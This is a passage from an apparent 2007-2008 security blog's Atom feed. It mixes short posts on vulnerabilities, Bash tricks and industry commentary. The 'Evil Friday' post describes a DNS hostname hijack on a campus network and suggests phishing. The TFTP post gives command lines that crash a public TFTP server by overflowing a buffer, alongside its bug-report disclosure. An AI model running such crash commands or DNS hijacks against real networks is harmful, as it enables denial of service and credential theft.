/&gt;    print $sock "$resp\x00";&lt;br /&gt;    print $sock "\x65\x00\x69\x00\x62\x01\x01\x01\x01\x07\x00";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub decode {&lt;br /&gt;    my @k1 = split //, shift;&lt;br /&gt;    my @k2 = split //, shift;&lt;br /&gt;&lt;br /&gt;    my $out;&lt;br /&gt;    my $k2c = 0;&lt;br /&gt;    for(0 .. @k1-1) {&lt;br /&gt;        my $tmp = ord($k2[$k2c]) - 65;&lt;br /&gt;        my $c = ord($k1[$_]) - $tmp;&lt;br /&gt;        my $out .= chr($c);&lt;br /&gt;        my $k2c += 2;&lt;br /&gt;    }&lt;br /&gt;    return $out;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8197390114798104138?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8197390114798104138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8197390114798104138' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8197390114798104138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8197390114798104138'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/06/drawball-code.html' title='Drawball code'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2877151180531125068</id><published>2008-06-02T16:14:00.001-04:00</published><updated>2008-06-02T16:14:31.272-04:00</updated><title type='text'></title><content type='html'>OK, now &lt;a href="http://www.f-secure.com/weblog/archives/00001450.html"&gt;that's funny&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2877151180531125068?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2877151180531125068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2877151180531125068' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2877151180531125068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2877151180531125068'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/06/ok-now-thats-funny.html' title=''/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-6019591764942058747</id><published>2008-05-28T10:53:00.002-04:00</published><updated>2008-05-28T10:58:27.836-04:00</updated><title type='text'></title><content type='html'>Neat: &lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-08-033/"&gt;code execution vulnerability on the Motorola Razr&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;By the way, I predict this sort of thing is going to get huge and nasty REALLY quickly in the next couple of years, especially as phones evolve to become more iPhone-like (standard Wifi, for example). Anyone want to start a pool on when the first widespread wild mobile worm will hit?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-6019591764942058747?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/6019591764942058747/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=6019591764942058747' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6019591764942058747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6019591764942058747'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/05/neat-code-execution-vulnerability-on.html' title=''/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-6564979577896941425</id><published>2008-04-18T12:49:00.000-04:00</published><updated>2008-04-18T12:50:22.432-04:00</updated><title type='text'>Of course!</title><content type='html'>&lt;span style="font-style: italic;"&gt;"Bad programming? Use good programming. It’s so simple! How could we not have seen it!" &lt;/span&gt;-Ptacek&lt;br /&gt;&lt;br /&gt;Read &lt;a href="http://www.matasano.com/log/1032/this-new-vulnerability-dowds-inhuman-flash-exploit/"&gt;this post&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-6564979577896941425?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/6564979577896941425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=6564979577896941425' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6564979577896941425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6564979577896941425'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/04/of-course.html' title='Of course!'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3715682847096753358</id><published>2008-04-11T16:27:00.002-04:00</published><updated>2008-04-11T16:35:57.547-04:00</updated><title type='text'>Evil Friday</title><content type='html'>(YMMV.)&lt;br /&gt;&lt;br /&gt;Take one DHCP server that allows you to set your hostname in DNS. Add a whole mess of workstations which are configured with the same search suffix as the DNS domainname. Then call yourself google. Set up a web server and catch all the people who are just typing "google" into their browsers. (I used a Python script to log the request, then 302 the user to google.com.)&lt;br /&gt;&lt;pre&gt;host1.domain.edu - - [11/Apr/2008 14:38:27] "GET / HTTP/1.1" 302 -&lt;br /&gt;host2.domain.edu - - [11/Apr/2008 14:46:38] "GET / HTTP/1.1" 302 -&lt;br /&gt;host3.domain.edu - - [11/Apr/2008 14:49:34] "GET / HTTP/1.1" 302 -&lt;br /&gt;host4.domain.edu - - [11/Apr/2008 14:55:21] "GET / HTTP/1.1" 302 -&lt;br /&gt;host5.domain.edu - - [11/Apr/2008 15:03:45] "GET / HTTP/1.1" 302 -&lt;br /&gt;host6.domain.edu - - [11/Apr/2008 15:07:58] "GET / HTTP/1.1" 302 -&lt;br /&gt;host7.domain.edu - - [11/Apr/2008 15:09:45] "GET / HTTP/1.1" 302 -&lt;br /&gt;host8.domain.edu - - [11/Apr/2008 15:10:17] "GET / HTTP/1.1" 302 -&lt;br /&gt;host9.domain.edu - - [11/Apr/2008 15:17:01] "GET / HTTP/1.1" 302 -&lt;br /&gt;host10.domain.edu - - [11/Apr/2008 15:17:37] "GET / HTTP/1.1" 302 -&lt;br /&gt;&lt;/pre&gt;Optional: go phishing.&lt;br /&gt;Optional part II: clobber the DNS entry for a legitimate host on the network and have REAL fun. (Yes, this works, at least in my environment.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3715682847096753358?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3715682847096753358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3715682847096753358' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3715682847096753358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3715682847096753358'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/04/evil-friday.html' title='Evil Friday'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-6333891152028187402</id><published>2008-04-08T07:12:00.002-04:00</published><updated>2008-04-08T07:42:11.336-04:00</updated><title type='text'>Bash Brace Expansion</title><content type='html'>I have to give a little shout out to Bash brace expansion. This is one of the neat little toys that I rarely see mentioned. The really quick summary reads like this:&lt;br /&gt;&lt;pre&gt;$ echo test_{foo,bar,baz}&lt;br /&gt;test_foo test_bar test_baz&lt;/pre&gt;which is useful enough, but where it really shines is in sequence expansion. The idiomatic Bash For loop I've often seen is something like:&lt;br /&gt;&lt;pre&gt;$ for i in `seq 1 10`; do echo $i; done&lt;/pre&gt;which is just nasty. Compare to:&lt;br /&gt;&lt;pre&gt;$ for i in {1..10}; do echo $i; done&lt;/pre&gt;which is nicer, but even more nice is:&lt;br /&gt;&lt;pre&gt;$ echo {1..10} | tr ' ' '\n'&lt;/pre&gt;(IMHO.)&lt;br /&gt;&lt;br /&gt;And of course, something like this this comes in really handy:&lt;br /&gt;&lt;pre&gt;$ wget www.somewhere.com/{a,b}{1..9}.jpg&lt;/pre&gt;Not sure what I would use that for... ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-6333891152028187402?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/6333891152028187402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=6333891152028187402' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6333891152028187402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6333891152028187402'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/04/bash-brace-expansion.html' title='Bash Brace Expansion'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-4673639322994954804</id><published>2008-03-29T16:57:00.006-04:00</published><updated>2008-04-04T09:04:50.834-04:00</updated><title type='text'>Wow, TFTP servers really do suck.</title><content type='html'>I went to a talk by &lt;a href="http://www.immunityinc.com/"&gt;Dave Aitel&lt;/a&gt; yesterday at Harvard (notes &lt;a href="http://www.immunityinc.com/downloads/DaveAitel_TheHackerStrategy2.pdf"&gt;here&lt;/a&gt;, if you're interested). Hopefully more to say on it later, but it definitely helped my burnout by reminding me what I'm really doing in security. (Hint: poring through IDS alerts is not what I signed up for.)&lt;br /&gt;&lt;br /&gt;One thing Dave mentioned is that TFTP servers are notoriously buggy, so I thought a nice exercise would be to take a look at one and see if I could find something. I'd been playing around in IDA Pro for a while and I was about sick of it, so I was ready to knock that off and read some actual source code. I went to SourceForge and downloaded &lt;a href="http://sourceforge.net/projects/tftp-server/"&gt;the first TFTP server I saw&lt;/a&gt;. Sure enough, I had a remote DoS within probably 10 minutes. It can most likely even run code, though I'm not hugely interested in proving it right now. That might make a good rainy day project.&lt;br /&gt;&lt;br /&gt;So, rather than go through a bunch of hassle, I just posted it on the bug tracker for the project. Was that bad? I kind of thought it was a tiny bit of code that nobody's probably using, but I just checked and it's had 60,000+ downloads.&lt;br /&gt;&lt;br /&gt;If you're interested, the bug report is &lt;a href="http://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=1928931&amp;amp;group_id=162512&amp;amp;atid=824074"&gt;here&lt;/a&gt;. It's pretty simple, you need to successfully TFTP GET a file with a long enough filename to overflow the log message buffer. You can do that by requesting "./" a bunch of times before the filename you want. So, basically something like:&lt;br /&gt;&lt;pre&gt;tftp X.X.X.X PUT `perl -e'print "A"x128'`&lt;br /&gt;tftp X.X.X.X GET `perl -e'print "./"x100'`/`perl -e'print "A"x128'`&lt;/pre&gt;will cause the server to segfault.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;UPDATE&lt;/span&gt; 4/3: Haha, oh I suck. Exploit code was posted for this bug a couple days after I made the initial bug report (http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt) and&lt;br /&gt;it's much simpler than I thought.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;UPDATE AGAIN&lt;/span&gt;&lt;span style="font-style: italic;"&gt;: Actually it looks like the code and advisories came out the week BEFORE I made the bug report. Now THAT is a weird coincidence, given that the vulnerable release of the server code has been sitting out there since June 2007. What are the odds? Anyway, original update continues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Turns out the overflow happens well before I thought it did, and the logging function has nothing to do with it. I'm not sure what I failed to check that made me miss this. Actually, I think what I was doing was looking for a way specifically to overflow the log buffer, rather than the struct that holds the filename in the first place. I likely failed to check the simpler option of just sending a GET long filename &lt;long&gt;at all because that wouldn't have gotten me to where I thought I needed to be in the code. I feel incredibly silly now. I guess in the future I will think harder about what I'm doing and pay more attention to detail.&lt;br /&gt;&lt;br /&gt;Specifically, the processRequest function starts by defining two variables:&lt;br /&gt;&lt;/long&gt;&lt;pre&gt;char logbuff[512];&lt;br /&gt;request req;&lt;/pre&gt;The request struct looks like:&lt;br /&gt;&lt;pre&gt;struct request&lt;br /&gt;{&lt;br /&gt;timeval tv;&lt;br /&gt;fd_set readfds;&lt;br /&gt;pthread_t threadId;&lt;br /&gt;int m_socket;&lt;br /&gt;BYTE sockInd;&lt;br /&gt;BYTE attempt;&lt;br /&gt;char path[256];&lt;br /&gt;FILE *file;&lt;br /&gt;char *filename;&lt;br /&gt;char *mode;&lt;br /&gt;char *alias;&lt;br /&gt;...&lt;/pre&gt;And part of the processRequest function includes an unsafe:&lt;br /&gt;&lt;pre&gt;strcpy(req.path, cfig.homes[0].target);&lt;br /&gt;strcat(req.path, req.alias);&lt;/pre&gt;So, yeah. Next time just grep for strcpy and strcat.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-4673639322994954804?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/4673639322994954804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=4673639322994954804' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4673639322994954804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4673639322994954804'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/03/wow-tftp-servers-really-do-suck.html' title='Wow, TFTP servers really do suck.'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-4503427072788418405</id><published>2008-03-29T11:24:00.004-04:00</published><updated>2008-03-29T17:12:18.980-04:00</updated><title type='text'>Lost Code</title><content type='html'>I kinda want to post code for a Metasploit module I wrote a while back against &lt;a href="http://zdi.tippingpoint.com/advisories/ZDI-06-043/"&gt;ZDI-06-043&lt;/a&gt;&lt;br /&gt;(Novell Netware Client Print Provider Buffer Overflow Vulnerability), but I totally can't find a copy of the finished version.&lt;br /&gt;&lt;br /&gt;There's an in-progress version archived from the Metasploit mailing list &lt;a href="http://spool.metasploit.com/pipermail/framework/2006-December/001492.html"&gt;here&lt;/a&gt;. I think it's a working version, if I recall, but I was in the process of learning the MSF DCERPC stuff and a lot of it is pretty ugly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-4503427072788418405?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/4503427072788418405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=4503427072788418405' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4503427072788418405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4503427072788418405'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/03/i-kinda-want-to-post-code-for.html' title='Lost Code'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3193152221311287675</id><published>2008-03-27T08:00:00.002-04:00</published><updated>2008-03-27T08:00:00.618-04:00</updated><title type='text'>VM Visibility</title><content type='html'>Well, the world is catching up. &lt;a href="http://tylerkrpata.blogspot.com/2007/07/extending-ids-into-virtual-environment.html"&gt;Last summer&lt;/a&gt;, I didn't have a simple solution for gaining visibility into traffic between guests on a single virtual host. Recently, I spoke a bit to &lt;a href="http://www.montegonetworks.com/"&gt;Montego Networks&lt;/a&gt; about their HyperSwitch product, and I have to say I was impressed. The product was officially announced today. As far as I understand it, this product provides all the capabilities I need and more. Assuming it works as advertised, this thing is going to catch on like wildfire. The price is pretty nice, too.&lt;br /&gt;&lt;br /&gt;Here's the full &lt;a href="http://www.montegonetworks.com/release03262008.html"&gt;press release&lt;/a&gt;. The CTO of Montego also maintains a &lt;a href="http://www.vmwaresecurity.com/"&gt;virtualization security blog&lt;/a&gt;, which is worth a read.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3193152221311287675?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3193152221311287675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3193152221311287675' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3193152221311287675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3193152221311287675'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/03/vm-visibility.html' title='VM Visibility'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-7379650375341489601</id><published>2008-03-26T16:53:00.003-04:00</published><updated>2008-03-26T17:05:54.879-04:00</updated><title type='text'>Things That Aren't Working</title><content type='html'>Some weeks, nothing is quite as simple as it ought to be. Such as:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;SSH via Perl from a Windows box. Should be just a matter of choosing between Net::SSH2 and Net::SSH::Perl, right? Neither seems to work for me. I can execute commands, but I can't read the output. There's even a module (Net::SSH::W32Perl) which apparently attempts to resolve compatibility issues, but all it really does is flip blocking on and off for the inet socket at certain points in the connection.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Scripting interactions with sudo over SSH. Who knew THIS would be so irritating? The basic problem, I think, is that sudo doesn't read the password from stdin by default. It does have an option to force it to do so, so I just did that. I'm still not able to read the password prompt, though (it's not on stdout or stderr), so I have to kind of fudge it. Did I mention this is all happening in a PHP script that talks to a Bash script which calls SSH to talk to another machine? Yeah. It's kind of a Rube Goldberg contraption.&lt;/li&gt;&lt;li&gt;Performing forensics on a Windows Mobile device. You'd think this would be widely supported, but in fact, it seems it's very POORLY supported. I have a trial version of Device Seizure from Paraben Software, which at least claims to do what I'm trying to do. It keeps wanting to crash during acquisition, though, so we'll see how far we get.&lt;/li&gt;&lt;li&gt;Also had some problems getting the TOC::Oscar module to work right in Perl, but I'll chalk that up to my own laziness in RTFM.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Hmm, that's all kind of embarrassing to post in public.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-7379650375341489601?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/7379650375341489601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=7379650375341489601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7379650375341489601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7379650375341489601'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/03/things-that-arent-working.html' title='Things That Aren&apos;t Working'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3818502092133587864</id><published>2008-03-21T11:40:00.000-04:00</published><updated>2008-03-21T11:41:00.684-04:00</updated><title type='text'></title><content type='html'>An incredibly insightful &lt;a href="http://www.wired.com/politics/security/commentary/securitymatters/2008/03/securitymatters_0320"&gt;essay &lt;/a&gt;by Bruce Schneier.&lt;br /&gt;&lt;blockquote&gt;Good engineering involves thinking about how things can be made to work; the security mindset involves thinking about how things can be made to fail.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3818502092133587864?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3818502092133587864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3818502092133587864' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3818502092133587864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3818502092133587864'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/03/incredibly-insightful-essay-by-bruce.html' title=''/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3195245662490690407</id><published>2008-01-04T16:27:00.000-05:00</published><updated>2008-01-04T16:29:08.058-05:00</updated><title type='text'>Dream Job</title><content type='html'>&lt;a href="http://rationalsecurity.typepad.com/blog/2008/01/your-infosec-dr.html"&gt;Hoff says&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;Assuming you were going to stay in the "Information Security" industry, what would you do if you could pack up your office tomorrow and move into shiny new digs in your dream job?  What would that be?  With whom?  Doing what?&lt;/blockquote&gt;Here's my quick, off-the-cuff answer.&lt;br /&gt;   &lt;br /&gt;&lt;blockquote&gt;This is an easy one. The company itself would be populated by smart, driven people who are truly passionate about security. Two things I'd be happy doing there would be:&lt;div class="comment-content"&gt;&lt;p&gt; 1. Pentesting, but in a smart way. As in not just running some automated tools and producing a pretty report. The ideal would be really digging in to try to find the unique holes for a given project. I wouldn't want to waste time coming up with a big report that basically just said "apply the following vendor patches."&lt;/p&gt;&lt;p&gt; 2. Research, ideally studying and inventing entirely new vulnerabilities and attacks. Random fuzzing, not so much. (Though I'd take "fuzz until it breaks/write an exploit" work in a second.) &lt;/p&gt;  &lt;p&gt;Makes me wonder why I'm not actively pursuing this.&lt;/p&gt;   &lt;/div&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3195245662490690407?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3195245662490690407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3195245662490690407' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3195245662490690407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3195245662490690407'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/01/dream-job.html' title='Dream Job'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3209301178908165173</id><published>2007-12-19T15:16:00.000-05:00</published><updated>2007-12-19T15:17:19.529-05:00</updated><title type='text'>Slashdot comment</title><content type='html'>From a Slashdot comment:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Thousands of businesses outsource their IT security every day. Lots of it goes overseas, too. And the best part of it is that it's free. The bad part is they don't know they are outsourcing it at all.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3209301178908165173?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3209301178908165173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3209301178908165173' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3209301178908165173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3209301178908165173'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/12/slashdot-comment.html' title='Slashdot comment'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1134740074696012277</id><published>2007-11-16T18:15:00.003-05:00</published><updated>2007-11-16T18:17:42.617-05:00</updated><title type='text'>Yes, this is me.</title><content type='html'>Yes, I'll admit it, this is me sometimes. I'm working on it. :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.dilbert.com/comics/dilbert/archive/images/dilbert2007113333116.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://www.dilbert.com/comics/dilbert/archive/images/dilbert2007113333116.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1134740074696012277?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1134740074696012277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1134740074696012277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1134740074696012277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1134740074696012277'/><link rel='alternate' type='text/html' 